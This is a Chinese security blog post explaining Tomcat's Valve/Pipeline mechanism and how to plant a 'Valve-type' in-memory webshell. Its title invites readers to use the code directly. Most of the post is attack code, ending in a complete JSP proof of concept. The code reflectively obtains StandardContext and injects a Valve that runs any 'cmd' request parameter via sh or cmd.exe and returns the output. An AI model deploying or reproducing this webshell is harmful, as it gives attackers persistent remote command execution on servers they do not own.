tomcat内存马第四式 valve型内存马,自己写的很水,直接用就行了
 valve内存马是什么 Valve是对Container组件的一种拓展机制,通过多个Valve组装起来放到了pipeline里面。tomcat中的Container型容器就是通过pipeline与valve执行的,例如struts2里的拦截器机制一样,pipeline相当于拦截器链(filterchain),valve相当于拦截器(filter)
valve接口里有invoke方法:
1 2 public  void  invoke (Request request, Response response)     throws  IOException, ServletException; 
只要向Container/Host/Wrapper/Engine这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,也可以达到和filter型一样的效果
如果filter插入到了Engine下的话,则会对engine下的所有context生效
当然,重启tomcat肯定是会失效的
 分析 进到valve接口里:
一共就几个方法:
1 2 3 4 5 6 7 8 public  interface  Valve  {	Valve getNext () ; 	void  setNext (Valve valve) ;     void  backgroundProcess () ;     void  invoke (Request request, Response response)          throws  IOException, ServletException;     boolean  isAsyncSupported () ; } 
关键方法就是invoke,通过调用this.getNext().invoke(req, resp)能够将请求传入下一个valve,构成pipeline管道,上文说过,这起到类似于filterchain的作用
但是我们一般不用这个接口来打内存马,而是通过ValveBase类,它是对Valve接口的一个扩充,利用它新建一个valve:
1 2 3 4 5 6 7 8 9 10 11 12 public  class  EvilValve  extends  ValveBase {    @Override      public  void  invoke (Request request, Response response)  {         try {             Runtime.getRuntime().exec("calc" );             this .getNext().invoke(request, response);         }catch  (Exception e){             e.printStackTrace();         }     } } 
那我们要如何添加valve呢?
那肯定有add方法(前面三个都有add方法,那这个肯定也有 ),就在StandardPipeline这个类当中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public  void  addValve (Valve valve)  {                 if  (valve instanceof  Contained) {             ((Contained) valve).setContainer(this .container);         }                  if  (getState().isAvailable()) {             if  (valve instanceof  Lifecycle) {                 try  {                     ((Lifecycle) valve).start();                 } catch  (LifecycleException e) {                     log.error(sm.getString("standardPipeline.valve.start" ), e);                 }             }         }                  if  (first == null ) {             first = valve;             valve.setNext(basic);         } else  {             Valve  current  =  first;             while  (current != null ) {                 if  (current.getNext() == basic) {                     current.setNext(valve);                     valve.setNext(basic);                     break ;                 }                 current = current.getNext();             }         }         container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve);     } 
上文说过,只要向Container/Host/Wrapper/Engine这四种Container组件中的任意一种的pipeline中插入我们自定义的valve,就能执行了
著需要获取这四个组件中的一个,并且调用add方法即可
流程如下:
通过反射获取Request从而获得StandardContext(没错,又是他) 
从StandardContext中获取StandardPipeline 
addValve 
 
恶意valve:
1 2 3 4 5 6 7 8 9 10 11 12 13 public  class  myValue  extends  ValveBase {      @Override        public  void  invoke (Request req, Response resp)  throws  IOException, ServletException {           if  (req.getParameter("cmd" ) != null ) {               InputStream  in  =  java.lang.Runtime.getRuntime().exec(new  String []{"cmd.exe" , "/c" , req.getParameter("cmd" )}).getInputStream();               Scanner  s  =  new  Scanner (in).useDelimiter("\\A" );               String  o  =  s.hasNext() ? s.next() : "" ;               resp.getWriter().write(o);           }           this .getNext().invoke(req, resp);       }   } %> 
addValve:
1 2 3 4 5 6 7 Valve  myValve  =  new  myValue ();   Field  reqF  =  request.getClass().getDeclaredField("request" );    reqF.setAccessible(true );    Request  req  =  (Request) reqF.get(request);    StandardContext  context  =  (StandardContext) req.getContext();    Pipeline  pipeline  =  context.getPipeline();    pipeline.addValve(myValve); 
 poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <%@ page import ="org.apache.catalina.valves.ValveBase"  %> <%@ page import ="java.io.IOException"  %> <%@ page import ="org.apache.catalina.connector.Request"  %> <%@ page import ="org.apache.catalina.connector.Response"  %> <%@ page import ="org.apache.catalina.Valve"  %> <%@ page import ="java.lang.reflect.Field"  %> <%@ page import ="org.apache.catalina.mapper.MappingData"  %> <%@ page import ="org.apache.catalina.core.StandardContext"  %> <%@ page import ="org.apache.catalina.Pipeline"  %> <%@ page import ="java.io.InputStream"  %> <%@ page import ="java.util.Scanner"  %> <%!public  class  myValve  extends  ValveBase {     @Override      public  void  invoke (Request req, Response resp)  throws  IOException, ServletException {         if  (req.getParameter("cmd" ) != null ) {             boolean  isLinux  =  true ;             String  osTyp  =  System.getProperty("os.name" );             if  (osTyp != null  && osTyp.toLowerCase().contains("win" )) {                 isLinux = false ;             }             InputStream  in  =  isLinux ? Runtime.getRuntime().exec(new  String []{"sh" ,"-c" ,req.getParameter("cmd" )}).getInputStream() : Runtime.getRuntime().exec(new  String []{"cmd.exe" ,"/c" ,req.getParameter("cmd" )}).getInputStream();             Scanner  s  =  new  Scanner (in).useDelimiter("\\A" );             String  o  =  s.hasNext() ? s.next() : "" ;             resp.getWriter().write(o);         }         this .getNext().invoke(req, resp);     } } %> <%     Field  reqF  =  request.getClass().getDeclaredField("request" );     reqF.setAccessible(true );     Request  req  =  (Request) reqF.get(request);     StandardContext  context  =  (StandardContext) req.getContext();     Pipeline  pipeline  =  context.getPipeline();     Valve  valve  =  new  myValve ();     pipeline.addValve(valve); %> 
很遗憾,只能在这个test.jsp里用,所以严格意义上不能说是内存马了,访问后也不能在别的路径中打:
参考文章: